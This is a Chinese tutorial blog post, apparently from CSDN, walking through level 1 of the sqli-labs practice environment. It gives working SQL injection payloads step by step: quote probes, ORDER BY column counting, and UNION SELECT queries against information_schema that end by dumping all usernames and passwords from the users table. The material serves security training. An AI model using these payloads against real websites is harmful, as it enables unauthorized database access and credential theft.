sqli-labs通关教程(1)

Less-1第一关
打开网站
在这里插入图片描述
在url上加上?id=1’
在这里插入图片描述
可以看到用户名和密码。
下面我们尝试开始注入。
探测是否存在注入点:

  • 加单引号报错
  • 加’ and 1=1报错
  • 加’ and 1=1 --+正常
  • 判断为字符型注入
    在这里插入图片描述
    一般可以使用联合表的方式来提取自己想要的信息(union),但是使用union语句有个前提就是union 后面的语句必须与前面的语句字段数以及类型必须一直,否则数据库会报错。
    所以我们得再来判断有几个字段。
id=1' order by 1 --+    //没报错
id=1' order by 2 --+    //没报错
...
id=1' order by 4 --+    //报错

说明,这个表中有三个字段
接下来我们进行联合查询union,union前面的参数报错才能执行union后面的数据,因此将 id = 1 改为 id = -1 (或者改为id=0也行,只要是不正确的值都行)开始进行注入。

?id=-1' union select 1,2,3 --+

在这里插入图片描述
然后爆数据库:

?id=-1' union select 1,2,database() --+

database()表示现在在哪个数据库里面

在这里插入图片描述
爆出数据库为名字security,所以现在要查security的数据库里面有哪些表
用information_schema数据库里面的tables表可以查看到security数据库里面的表名
在这里插入图片描述
在这里插入图片描述
编写语句:
select * from information_schema.tables where table_schema='security';
再用group_concat()函数拼接下:

select group_concat(table_name) from information_schema.tables where table_schema='security';

根据以上,我们写爆数据库的表名语句:

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

在这里插入图片描述
爆出几个表名,然后用表爆出字段,可以发现这里有个users表,说明里面有可能有密码文件
在这里插入图片描述
构造爆字段语句:

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

在这里插入图片描述
爆出字段,看到password字段应该是密码文件:
已知的:
数据库security
表users
字段id,username,password
接下来可以进行查询爆库

select group_concat(username,'+',password) from security.users;

注意,在url中’+'要进行转码
在这里插入图片描述
得到代码:

?id=-1' union select 1,2,group_concat(username,%27%2B%27,password) from security.users --+

爆出库,右键查看源代码,直接复制
在这里插入图片描述
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值